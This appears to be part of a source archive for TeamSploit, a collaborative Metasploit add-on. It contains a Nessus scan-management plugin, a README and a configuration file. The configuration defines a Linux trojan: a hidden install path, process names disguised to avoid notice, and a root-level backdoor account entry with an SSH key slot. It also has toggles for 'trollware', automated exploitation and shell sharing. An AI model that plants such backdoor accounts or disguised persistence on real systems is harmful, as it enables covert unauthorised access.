print_line("%bld%blu[*]%clr %bld#{data}%clr")
end
end
print_good("Done")
end
def cmd_nessus_teamsploit_scan_status(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_status")
print_status(" Example:> nessus_teamsploit_scan_status")
print_status()
print_status("Returns a list of information about currently running scans.")
return
end
if ! nessus_teamsploit_verify_token
return
end
list=@n.scan_list_hash
if list.empty?
print_status("No Scans Running.")
print_status("You can:")
print_status(" List of completed scans: nessus_teamsploit_report_list")
print_status(" Create a scan: nessus_teamsploit_scan_new ")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Scan ID',
'Name',
'Owner',
'Started',
'Status',
'Current Hosts',
'Total Hosts'
])
list.each {|scan|
t = Time.at(scan['start'].to_i)
tbl << [ scan['id'], scan['name'], scan['owner'], t.strftime("%H:%M %b %d %Y"), scan['status'], scan['current'], scan['total'] ]
}
print_good("Running Scans")
print_good "\n"
print_line tbl.to_s
print_good "\n"
print_status("You can:")
print_good(" Import Nessus report to database : nessus_teamsploit_report_get ")
print_good(" Pause a nessus scan : nessus_teamsploit_scan_pause ")
end
def cmd_nessus_teamsploit_scan_wait(*args)
list=@n.scan_list_hash
if list.empty?
print_status("No Scans Running or All Scans Completed")
return
else
print_status("Waiting For Scans to Complete...")
end
while !list.empty?
list=@n.scan_list_hash
end
if list.empty?
print_status("All Scans Completed")
return
end
end
def cmd_nessus_teamsploit_template_list(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_template_list")
print_status(" Example:> nessus_teamsploit_template_list")
print_status()
print_status("Returns a list of information about the server templates..")
return
end
if ! nessus_teamsploit_verify_token
return
end
list=@n.template_list_hash
if list.empty?
print_status("No Templates Created.")
print_status("You can:")
print_status(" List of completed scans: nessus_teamsploit_report_list")
print_status(" Create a template: nessus_teamsploit_template_new ")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Template ID',
'Policy ID',
'Name',
'Owner',
'Target'
])
list.each {|template|
tbl << [ template['name'], template['pid'], template['rname'], template['owner'], template['target'] ]
}
print_good("Templates")
print_good "\n"
print_line tbl.to_s + "\n"
print_good "\n"
print_status("You can:")
print_good(" Import Nessus report to database : nessus_teamsploit_report_get ")
end
def cmd_nessus_teamsploit_user_list(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_user_list")
print_status(" Example:> nessus_teamsploit_user_list")
print_status()
print_status("Returns a list of the users on the Nessus server and their access level.")
return
end
if ! nessus_teamsploit_verify_token
return
end
if ! @n.is_admin
print_status("Your Nessus user is not an admin")
end
list=@n.users_list
print_good("There are #{list.length} users")
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Name',
'Is Admin?',
'Last Login'
])
list.each {|user|
t = Time.at(user['lastlogin'].to_i)
tbl << [ user['name'], user['admin'], t.strftime("%H:%M %b %d %Y") ]
}
print_good("Nessus users")
print_good "\n"
print_line tbl.to_s
end
def cmd_nessus_teamsploit_server_status(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_server_status")
print_status(" Example:> nessus_teamsploit_server_status")
print_status()
print_status("Returns some status items for the server..")
return
end
#Auth
if ! nessus_teamsploit_verify_token
return
end
#Check if we are an admin
if ! @n.is_admin
print_status("You need to be an admin for this.")
return
end
#Versions
cmd_nessus_teamsploit_server_feed
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Users',
'Policies',
'Running Scans',
'Reports',
'Plugins'
])
#Count how many users the server has.
list=@n.users_list
users = list.length
#Count how many policies
list=@n.policy_list_hash
policies = list.length
#Count how many running scans
list=@n.scan_list_uids
scans = list.length
#Count how many reports are available
list=@n.report_list_hash
reports = list.length
#Count how many plugins
list=@n.plugins_list
total = Array.new
list.each {|plugin|
total.push(plugin['num'].to_i)
}
plugins = total.sum
tbl << [users, policies, scans, reports, plugins]
print_good "\n"
print_line tbl.to_s
end
def cmd_nessus_teamsploit_plugin_list(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_plugin_list")
print_status(" Example:> nessus_teamsploit_plugin_list")
print_status()
print_status("Returns a list of the plugins on the server per family.")
return
end
if ! nessus_teamsploit_verify_token
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Family Name',
'Total Plugins'
])
list=@n.plugins_list
total = Array.new
list.each {|plugin|
total.push(plugin['num'].to_i)
tbl << [ plugin['name'], plugin['num'] ]
}
plugins = total.sum
tbl << [ '', '']
tbl << [ 'Total Plugins', plugins ]
print_good("Plugins By Family")
print_good "\n"
print_line tbl.to_s
print_status("List plugins for a family : nessus_teamsploit_plugin_family ")
end
def check_policy(*args)
case args.length
when 1
pid = args[0]
else
print_error("No Policy ID supplied.")
return
end
pol = @n.policy_list_hash
pol.each {|p|
if p['id'].to_i == pid
return false
end
}
return true
end
def cmd_nessus_teamsploit_scan_new(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_new ")
print_status(" Example:> nessus_teamsploit_scan_new 1 \"My Scan\" 192.168.1.250")
print_status()
print_status("Creates a scan based on a policy id and targets.")
print_status("use nessus_teamsploit_policy_list to list all available policies")
return
end
if ! nessus_teamsploit_verify_token
return
end
case args.length
when 3
pid = args[0].to_i
name = args[1]
tgts = args[2]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_new ")
print_status(" use nessus_teamsploit_policy_list to list all available policies")
return
end
if check_policy(pid)
print_error("That policy does not exist.")
return
end
print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning #{tgts}")
scan = @n.scan_new(pid, name, tgts)
if scan
print_status("Scan started. uid is #{scan}")
end
end
def cmd_nessus_teamsploit_scan_pause(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_pause ")
print_status(" Example:> nessus_teamsploit_scan_pause f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca")
print_status()
print_status("Pauses a running scan")
print_status("use nessus_teamsploit_scan_status to list all available scans")
return
end
if ! nessus_teamsploit_verify_token
return
end
case args.length
when 1
sid = args[0]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_pause ")
print_status(" use nessus_teamsploit_scan_status to list all available scans")
return
end
pause = @n.scan_pause(sid)
print_status("#{sid} has been paused")
end
def cmd_nessus_teamsploit_scan_resume(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_resume ")
print_status(" Example:> nessus_teamsploit_scan_resume f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca")
print_status()
print_status("resumes a running scan")
print_status("use nessus_teamsploit_scan_status to list all available scans")
return
end
if ! nessus_teamsploit_verify_token
return
end
case args.length
when 1
sid = args[0]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_resume ")
print_status(" use nessus_teamsploit_scan_status to list all available scans")
return
end
resume = @n.scan_resume(sid)
print_status("#{sid} has been resumed")
end
def cmd_nessus_teamsploit_report_hosts(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_report_hosts ")
print_status(" Example:> nessus_teamsploit_report_hosts f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca")
print_status()
print_status("Returns all the hosts associated with a scan and details about their vulnerabilities")
print_status("use nessus_teamsploit_report_list to list all available scans")
return
end
if ! nessus_teamsploit_verify_token
return
end
case args.length
when 1
rid = args[0]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_report_hosts ")
print_status(" use nessus_teamsploit_report_list to list all available reports")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Hostname',
'Severity',
'Sev 0',
'Sev 1',
'Sev 2',
'Sev 3',
'Current Progress',
'Total Progress'
])
hosts=@n.report_hosts(rid)
hosts.each {|host|
tbl << [ host['hostname'], host['severity'], host['sev0'], host['sev1'], host['sev2'], host['sev3'], host['current'], host['total'] ]
}
print_good("Report Info")
print_good "\n"
print_line tbl.to_s
print_status("You can:")
print_status(" Get information from a particular host: nessus_teamsploit_report_host_ports ")
end
def cmd_nessus_teamsploit_report_host_ports(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_report_host_ports ")
print_status(" Example:> nessus_teamsploit_report_host_ports 192.168.1.250 f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca")
print_status()
print_status("Returns all the ports associated with a host and details about their vulnerabilities")
print_status("use nessus_teamsploit_report_hosts to list all available hosts for a report")
end
if ! nessus_teamsploit_verify_token
return
end
case args.length
when 2
host = args[0]
rid = args[1]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_report_host_ports ")
print_status(" use nessus_teamsploit_report_list to list all available reports")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Port',
'Protocol',
'Severity',
'Service Name',
'Sev 0',
'Sev 1',
'Sev 2',
'Sev 3'
])
ports=@n.report_host_ports(rid, host)
ports.each {|port|
tbl << [ port['portnum'], port['protocol'], port['severity'], port['svcname'], port['sev0'], port['sev1'], port['sev2'], port['sev3'] ]
}
print_good("Host Info")
print_good "\n"
print_line tbl.to_s
print_status("You can:")
print_status(" Get detailed scan infromation about a specfic port: nessus_teamsploit_report_host_detail ")
end
def cmd_nessus_teamsploit_report_host_detail(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_report_host_detail ")
print_status(" Example:> nessus_teamsploit_report_host_ports 192.168.1.250 445 tcp f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca")
print_status()
print_status("Returns all the vulns associated with a port for a specific host")
print_status("use nessus_teamsploit_report_host_ports to list all available ports for a host")
return
end
if ! nessus_teamsploit_verify_token
return
end
case args.length
when 4
host = args[0]
port = args[1]
prot = args[2]
rid = args[3]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_report_host_detail ")
print_status(" use nessus_teamsploit_report_host_ports to list all available ports")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Port',
'Severity',
'PluginID',
'Plugin Name',
'CVSS2',
'Exploit?',
'CVE',
'Risk Factor',
'CVSS Vector'
])
details=@n.report_host_port_details(rid, host, port, prot)
details.each {|detail|
tbl << [
detail['port'],
detail['severity'],
detail['pluginID'],
detail['pluginName'],
detail['cvss_base_score'] || 'none',
detail['exploit_available'] || '.',
detail['cve'] || '.',
detail['risk_factor'] || '.',
detail['cvss_vector'] || '.'
]
}
print_good("Port Info")
print_good "\n"
print_line tbl.to_s
end
def cmd_nessus_teamsploit_scan_pause_all(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_pause_all")
print_status(" Example:> nessus_teamsploit_scan_pause_all")
print_status()
print_status("Pauses all currently running scans")
print_status("use nessus_teamsploit_scan_list to list all running scans")
return
end
if ! nessus_teamsploit_verify_token
return
end
pause = @n.scan_pause_all
print_status("All scans have been paused")
end
def cmd_nessus_teamsploit_scan_stop(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_stop ")
print_status(" Example:> nessus_teamsploit_scan_stop f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca")
print_status()
print_status("Stops a currently running scans")
print_status("use nessus_teamsploit_scan_list to list all running scans")
return
end
if ! nessus_teamsploit_verify_token
return
end
case args.length
when 1
sid = args[0]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_stop ")
print_status(" use nessus_teamsploit_scan_status to list all available scans")
return
end
pause = @n.scan_stop(sid)
print_status("#{sid} has been stopped")
end
def cmd_nessus_teamsploit_scan_stop_all(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_stop_all")
print_status(" Example:> nessus_teamsploit_scan_stop_all")
print_status()
print_status("stops all currently running scans")
print_status("use nessus_teamsploit_scan_list to list all running scans")
return
end
if ! nessus_teamsploit_verify_token
return
end
pause = @n.scan_stop_all
print_status("All scans have been stopped")
end
def cmd_nessus_teamsploit_scan_resume_all(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_scan_resume_all")
print_status(" Example:> nessus_teamsploit_scan_resume_all")
print_status()
print_status("resumes all currently running scans")
print_status("use nessus_teamsploit_scan_list to list all running scans")
return
end
if ! nessus_teamsploit_verify_token
return
end
pause = @n.scan_resume_all
print_status("All scans have been resumed")
end
def cmd_nessus_teamsploit_user_add(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_user_add ")
print_status(" Example:> nessus_teamsploit_user_add msf msf")
print_status()
print_status("Only adds non admin users. Must be an admin to add users.")
print_status("use nessus_teamsploit_user_list to list all users")
return
end
if ! nessus_teamsploit_verify_token
return
end
if ! @n.is_admin
print_error("Your Nessus user is not an admin")
return
end
case args.length
when 2
user = args[0]
pass = args[1]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_user_add ")
print_status(" Only adds non admin users")
return
end
u = @n.users_list
u.each { |stuff|
if stuff['name'] == user
print_error("That user exists")
return
end
}
add = @n.user_add(user,pass)
status = add.root.elements['status'].text if add
if status == "OK"
print_good("#{user} has been added")
else
print_error("#{user} was not added")
end
end
def cmd_nessus_teamsploit_user_del(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_user_del ")
print_status(" Example:> nessus_teamsploit_user_del msf")
print_status()
print_status("Only dels non admin users. Must be an admin to del users.")
print_status("use nessus_teamsploit_user_list to list all users")
return
end
if ! nessus_teamsploit_verify_token
return
end
if ! @n.is_admin
print_error("Your Nessus user is not an admin")
return
end
case args.length
when 1
user = args[0]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_user_del ")
print_status(" Only dels non admin users")
return
end
del = @n.user_del(user)
status = del.root.elements['status'].text
if status == "OK"
print_good("#{user} has been deleted")
else
print_error("#{user} was not deleted")
end
end
def cmd_nessus_teamsploit_user_passwd(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_user_passwd ")
print_status(" Example:> nessus_teamsploit_user_passwd msf newpassword")
print_status()
print_status("Changes the password of a user. Must be an admin to change passwords.")
print_status("use nessus_teamsploit_user_list to list all users")
return
end
if ! nessus_teamsploit_verify_token
return
end
if ! @n.is_admin
print_error("Your Nessus user is not an admin")
return
end
case args.length
when 2
user = args[0]
pass = args[1]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_user_passwd ")
print_status(" User list from nessus_teamsploit_user_list")
return
end
pass = @n.user_pass(user,pass)
status = pass.root.elements['status'].text
if status == "OK"
print_good("#{user}'s password has been changed")
else
print_error("#{user}'s password has not been changed")
end
end
def cmd_nessus_teamsploit_admin(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_admin")
print_status(" Example:> nessus_teamsploit_admin")
print_status()
print_status("Checks to see if the current user is an admin")
print_status("use nessus_teamsploit_user_list to list all users")
return
end
if ! nessus_teamsploit_verify_token
return
end
if ! @n.is_admin
print_error("Your Nessus user is not an admin")
else
print_good("Your Nessus user is an admin")
end
end
def cmd_nessus_teamsploit_plugin_family(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_plugin_family ")
print_status(" Example:> nessus_teamsploit_plugin_family \"Windows : Microsoft Bulletins\" ")
print_status()
print_status("Returns a list of all plugins in that family.")
print_status("use nessus_teamsploit_plugin_list to list all plugins")
return
end
if ! nessus_teamsploit_verify_token
return
end
case args.length
when 1
fam = args[0]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_plugin_family ")
print_status(" list all plugins from a Family from nessus_teamsploit_plugin_list")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Plugin ID',
'Plugin Name',
'Plugin File Name'
])
family = @n.plugin_family(fam)
family.each {|plugin|
tbl << [ plugin['id'], plugin['name'], plugin['filename'] ]
}
print_good("#{fam} Info")
print_good "\n"
print_line tbl.to_s
end
def cmd_nessus_teamsploit_policy_list(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_policy_list")
print_status(" Example:> nessus_teamsploit_policy_list")
print_status()
print_status("Lists all policies on the server")
return
end
if ! nessus_teamsploit_verify_token
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'ID',
'Name',
'Comments'
])
list=@n.policy_list_hash
list.each {|policy|
tbl << [ policy['id'], policy['name'], policy['comments'] ]
}
print_good("Nessus Policy List")
print_good "\n"
print_line tbl.to_s
end
def cmd_nessus_teamsploit_policy_del(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_policy_del ")
print_status(" Example:> nessus_teamsploit_policy_del 1")
print_status()
print_status("Must be an admin to del policies.")
print_status("use nessus_teamsploit_policy_list to list all policies")
return
end
if ! nessus_teamsploit_verify_token
return
end
if ! @n.is_admin
print_error("Your Nessus user is not an admin")
return
end
case args.length
when 1
pid = args[0]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_policy_del ")
print_status(" nessus_teamsploit_policy_list to find the id.")
return
end
del = @n.policy_del(pid)
status = del.root.elements['status'].text
if status == "OK"
print_good("Policy number #{pid} has been deleted")
else
print_error("Policy number #{pid} was not deleted")
end
end
def cmd_nessus_teamsploit_plugin_details(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_plugin_details ")
print_status(" Example:> nessus_teamsploit_plugin_details ping_host.nasl ")
print_status()
print_status("Returns details on a particular plugin.")
print_status("use nessus_teamsploit_plugin_list to list all plugins")
return
end
if ! nessus_teamsploit_verify_token
return
end
case args.length
when 1
pname = args[0]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_policy_del ")
print_status(" nessus_teamsploit_plugin_list and then nessus_teamsploit_plugin_family to find the plugin file name.")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'',
''
])
entry = @n.plugin_detail(pname)
print_good("Plugin Details for #{entry['name']}")
tbl << [ "Plugin ID", entry['id'] ]
tbl << [ "Plugin Family", entry['family'] ]
tbl << [ "CVSS Base Score", entry['cvss_base_score'] ]
tbl << [ "CVSS Vector", entry['cvss_vector'] ]
tbl << [ "CVSS Temporal Score", entry['cvss_temporal_score'] ]
tbl << [ "CVSS Temporal Vector", entry['cvss_temporal_vector'] ]
tbl << [ "Risk Factor", entry['risk_factor'] ]
tbl << [ "Exploit Available", entry['exploit_available'] ]
tbl << [ "Exploitability Ease", entry['exploit_ease'] ]
tbl << [ "Synopsis", entry['synopsis'] ]
tbl << [ "Description", entry['description'] ]
tbl << [ "Solution", entry['solution'] ]
tbl << [ "Plugin Pub Date", entry['plugin_publication_date'] ]
tbl << [ "Plugin Modification Date", entry['plugin_modification_date'] ]
print_good "\n"
print_line tbl.to_s
end
def cmd_nessus_teamsploit_report_del(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_report_del ")
print_status(" Example:> nessus_teamsploit_report_del f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca")
print_status()
print_status("Must be an admin to del reports.")
print_status("use nessus_teamsploit_report_list to list all reports")
return
end
if ! nessus_teamsploit_verify_token
return
end
if ! @n.is_admin
print_error("Your Nessus user is not an admin")
return
end
case args.length
when 1
rid = args[0]
else
print_status("Usage: ")
print_status(" nessus_teamsploit_report_del ")
print_status(" nessus_teamsploit_report_list to find the id.")
return
end
del = @n.report_del(rid)
status = del.root.elements['status'].text
if status == "OK"
print_good("Report #{rid} has been deleted")
else
print_error("Report #{rid} was not deleted")
end
end
def cmd_nessus_teamsploit_server_prefs(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_server_prefs")
print_status(" Example:> nessus_teamsploit_server_prefs")
print_status()
print_status("Returns a long list of server prefs.")
return
end
if ! nessus_teamsploit_verify_token
return
end
if ! @n.is_admin
print_error("Your Nessus user is not an admin")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Name',
'Value'
])
prefs = @n.server_prefs
prefs.each {|pref|
tbl << [ pref['name'], pref['value'] ]
}
print_good("Nessus Server Pref List")
print_good "\n"
print_line tbl.to_s + "\n"
end
def cmd_nessus_teamsploit_plugin_prefs(*args)
if args[0] == "-h"
print_status("Usage: ")
print_status(" nessus_teamsploit_plugin_prefs")
print_status(" Example:> nessus_teamsploit_plugin_prefs")
print_status()
print_status("Returns a long list of plugin prefs.")
return
end
if ! nessus_teamsploit_verify_token
return
end
if ! @n.is_admin
print_error("Your Nessus user is not an admin")
return
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Name',
'Value',
'Type'
])
prefs = @n.plugin_prefs
prefs.each {|pref|
tbl << [ pref['prefname'], pref['prefvalues'], pref['preftype'] ]
}
print_good("Nessus Plugins Pref List")
print_good "\n"
print_line tbl.to_s
end
end
def initialize(framework, opts)
super
add_console_dispatcher(ConsoleCommandDispatcher)
@nbver = "1.1" # Nessus Plugin Version. Increments each time we commit to msf
@xindex = "#{Msf::Config.get_config_root}/nessus_index" # location of the exploit index file used to speed up searching for valid exploits.
@nessus_teamsploit_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" #location of the nessus.yml containing saved nessus creds
print_status("Nessus Bridge for Metasploit #{@nbver}")
print_good("Type %bldnessus_teamsploit_help%clr for a command listing")
#nessus_teamsploit_index
end
def cleanup
remove_console_dispatcher('Nessus_TeamSploit')
end
def name
"nessus_teamsploit"
end
def desc
"Nessus Bridge for TeamSploit #{@nbver}"
end
protected
end
end
teamsploit_0~20151123/teamsploit.conf 000644 001750 001750 00000012252 12307663552 020356 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
#
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Ben Heise (Twitter:@benheise) Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
# Change this to a '1' (no qoutes) when you finish editing this file...
TS_CONFIG=0
# TeamSploit GUI - CURRENTLY IN ALPHA (Unstable) (1=GUI, 0=CLI)
TS_GUI=1
# Skip GUI Configuration Wizard?
TS_SKIP_CONFIG_WIZ=0
# How many "primary" windows do you want? Some people want more than one...
TS_WINDOWS=1
# Which interface are you using?
TS_MY_INT=eth0
# Local? Likely not right? This is a team effort afterall...(0=Team DB, 1=Local DB)
TS_LOCAL=0
# Otherwise...Database! (FTW)
TS_DB_NAME=teamsploitdb
TS_DB_HOST=192.168.1.100
TS_DB_PORT=5432
TS_DB_USER=teamsploit
TS_DB_PASS=password
# Woulc you like to connect to a MSFD Service?
TS_MSFD_CONNECT=1
TS_MSFD_HOST=192.168.1.100
TS_MSFD_PORT=51337
# We are going to pass shells...make sure they are ready...1025 is the default
TS_SHARE_SHELLS=1 # If you are not sharing shells or have no team (solo run), you'll still get your shell.
TS_TEAM_MATES="192.168.1.101;192.168.1.102;192.168.1.103;193.168.1.104;192.168.1.105"
TS_TEAM_PORT=1025
TS_TEAM_PORT_2=7000
TS_TEAM_PORT_HTTP=80
TS_TEAM_PORT_HTTPS=443
TS_TEAM_PORT_DNS=53
# Targets Teams?
TS_TARGET_SOLO=0 # Only one target range? Don't want to automatically target the below line? Set this to one (1).
TS_TARGET_RANGES="192.168.21;192.168.22;192.168.22;192.168.23;192.168.24;192.168.25;192.168.26;192.168.27;192.168.28"
# Adding a user account? Cool.
TS_ADMIN_USER=user
TS_ADMIN_PASS=password
# TrollWare - (1=yes, 0=no)
TS_TROLLWARE=0
TS_NETSTOPPER=0
TS_UNPATCHER=0
# Nessus Connect?
TS_NESSUS_CONNECT=0
TS_NESSUS_AUTOSCAN=0
TS_NESSUS_POLICY=-1
TS_NESSUS_HOST=127.0.0.1
TS_NESSUS_PORT=8834
TS_NESSUS_USER=nessus
TS_NESSUS_PASS=password
# Nexpose Connect?
TS_NEXPOSE_CONNECT=0
TS_NEXPOSE_AUTOSCAN=0
TS_NEXPOSE_HOST=127.0.0.1
TS_NEXPOSE_PORT=5432
TS_NEXPOSE_USER=nexpose
TS_NEXPOSE_PASS=password
# OpenVAS Connect?
TS_OPENVAS_CONNECT=0
TS_OPENVAS_AUTOSCAN=0
TS_OPENVAS_HOST=127.0.0.1
TS_OPENVAS_PORT=9390
TS_OPENVAS_USER=openvas
TS_OPENVAS_PASS=password
# Fully Automated Owning (MAKE SURE YOU HAVE A VULN SCANNER SETUP AND ENABLED)
TS_AUTO_OWN=0
TS_AUTO_OWN_JOBS=10
# IRC Settings - Used in TeamSploit GUI (Chat)
TS_IRC=0 # Connect To IRC? 1=yes, 0=no
TS_IRC_NICK=TeamSploit # Nickname/Handle to use on chat
TS_IRC_SERVER=chat.freenode.org # Server IP or FQDN
TS_IRC_PORT=6667 # Port IRC is running on (make sure you use the SSL port if you are using SSL)
TS_IRC_CHANNEL=teamsploit # Channel you'll join (dont include the pound sign)
TS_IRC_SSL=0 # SSL Enabled? 1=yes, 0=no
# SploitWatch - Player Tracking and Reporting - Sends Exploitation/Activity Information to Centralized Server
TS_SPLOITWATCH=0 # Load, 1=yes, 0=no
TS_SPLOITWATCH_HANDLE=Unknown # Attacker Handle - Used to keep track of individual attackers
TS_SPLOITWATCH_EVENT=Unknown # Event ID - Used to keep track of separate events/engagements
TS_SPLOITWATCH_SRV_URI=http://192.168.1.100/sploitwatcher.php # URI to the SploitWatch receiving end
TS_SPLOITWATCH_CMD_REPORT=true # true or false - do you want to send all commands being executed (within Metasploit and sessions)
# Trojans - Right now, just Linux...(1=yes, 0=no)
TS_TROJAN=0
TS_TROJAN_PATH=/etc/fonts/admin/.proc
TS_TROJAN_PASSWORD=toor # Password used for installation
TS_TROJAN_LOADER=sysdev # This is just a name, and in reality, no one should see it...
TS_TROJAN_STARTUP=ksysinit # This is just a name, and in reality, no one should see it...
TS_TROJAN_PERSIST=klogmod # This is also a name, and depending on your hidden keyword, they may see it...
TS_TROJAN_HIDE=admin
TS_TROJAN_ACCOUNT=admin
TS_TROJAN_PASSWD="admin:x:0:0:Support Account (DO NOT EDIT):/:/bin/bash"
TS_TROJAN_SSHKEY=PUT_YOUR_SSH_PUT_KEY_HERE
TS_TROJAN_RE_PORT=8888
# Autopost Output? Show it or Surpress it (true == show, false == surpress) - it is in the output (loot directory) file eitherway...
TS_AUTOPOST_OUTPUT=false
# Loot Dir?
TS_LOOT_DIR=./loot/
# Would you like to run a MSFD/MSFRPCD Service?
TS_SERVER=0
TS_SERVER_MSFD_PORT=51337
TS_SERVER_MSFRPCD_PORT=51338
TS_SERVER_MSFRPCD_USER=teamsploit
TS_SERVER_MSFRPCD_PASS=teamsploit
# You likely want to leave the IP part alone - If this line is failing, you can manually set YOUR IP
TS_MY_IP=`ifconfig | grep "$TS_MY_INT" -A 1 | tail -n1 | awk {' print $2 '} | sed -e 's/addr://g'`
# Don't touch this... >.< (If you really know what you are doing, specify the PATH here)
TS_MSF_PATH=`./.msfpath`
teamsploit_0~20151123/README 000644 001750 001750 00000001037 12272000721 016165 0 ustar 00sophie sophie 000000 000000 TeamSploit makes group-based penetration testing fun and easy, providing real-time collaboration and automation. TeamSploit is a suite of tools for the Metasploit Framework. TeamSploit should work with any MSF product (include, OpenSource, Express, or Pro).
Features Include:
- Exploitation Automation
- Automated Post-Exploitation
- Information and Data Gathering
- Session Sharing
- Trojans and Trollware
TeamSploit's primary goal is to automate common penetration testing tasks, and provide access and information to fellow team members.
teamsploit_0~20151123/.teamsploit_config_gui.rb 000755 001750 001750 00000035036 12112265545 022305 0 ustar 00sophie sophie 000000 000000 #!/usr/bin/env ruby1.8
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
require 'gtk2'
def load_config
@config = Hash.new
@new_config = Hash.new
File.open("teamsploit.conf", "r") do |infile|
while (line = infile.gets)
if line =~ /^#/
next
elsif line =~ /=/
line.gsub!(/#.*/, '')
values = line.split(/=/)
key = values[0].to_s.lstrip.rstrip
value = values[1].to_s.lstrip.rstrip
@config[key] = value
@new_config[key] = value
end
end
end
end
def build_config
config_file = File.read("teamsploit.conf.dist")
@new_config.each_pair do |key, value|
key.gsub!(/^\"/, '')
key.gsub!(/\"$/, '')
config_file.gsub!(/^#{key}=.*\n/, "#{key}=#{value}\n")
end
config_file.gsub!(/TS_CONFIG=[10]/, "TS_CONFIG=1")
return config_file
end
def assistant_close (assistant)
new_config_file = build_config
File.open("teamsploit.conf", "w") {|file| file.puts new_config_file}
assistant.destroy
end
class PageInfo
attr_accessor :widget, :index, :title, :type, :complete
def initialize(w, i, ti, ty, c)
@widget, @index, @title, @type, @complete = w, i, ti, ty, c
end
end
def load_wizard
@assistant = Gtk::Assistant.new
@assistant.set_title("TeamSploit Config Wizard")
@assistant.set_size_request(800, 650)
@assistant.signal_connect('destroy') { Gtk.main_quit }
@assistant.signal_connect('cancel') { @assistant.destroy }
@assistant.signal_connect('close') { |w| assistant_close(w) }
end
def load_page(widget, title, type, complete)
page = PageInfo.new(widget, -1, title, type, complete)
page.index = @assistant.append_page(page.widget)
